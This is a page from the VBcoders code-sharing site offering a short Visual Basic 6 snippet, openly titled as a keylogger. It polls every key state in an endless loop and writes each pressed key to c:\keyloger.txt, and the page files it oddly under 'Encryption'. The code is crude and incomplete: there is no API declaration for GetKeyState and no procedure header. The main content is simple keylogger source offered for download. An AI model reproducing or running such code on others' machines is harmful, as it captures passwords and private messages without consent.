VBcoders Guest



Don't have an account yet? Register
 


Forgot Password?



logs key presses and stores them in a file

by walter eigner (15 Submissions)
Category: Encryption
Compatability: VB 6.0
Difficulty: Unknown Difficulty
Originally Published: Wed 17th March 2004
Date Added: Mon 8th February 2021
Rating: (1 Votes)

logs key presses and stores them in a file

API Declarations


Dim str As String
Dim lastkey As Integer
'requires scrrun.dll [Microsoft Scripting Run-time]
'view my site www.vbcodecentral.tk



Rate logs key presses and stores them in a file



Dim fso As New FileSystemObject
Dim ts As TextStream
Set ts = fso.OpenTextFile("c:\keyloger.txt")
If Not ts.AtEndOfStream Then str = ts.ReadAll
ts.Close
Set ts = fso.CreateTextFile("c:\keyloger.txt")
ts.Write str
Do
DoEvents
For i = 0 To 255
If GetKeyState(i) < 0 Then
If lastkey <> i Then ts.Write Chr(i)
lastkey = i
End If
Next
Loop
ts.Close
End
End Sub


Download this snippet    Add to My Saved Code

logs key presses and stores them in a file Comments

No comments have been posted about logs key presses and stores them in a file. Why not be the first to post a comment about logs key presses and stores them in a file.

Post your comment

Subject:
Message:
0/1000 characters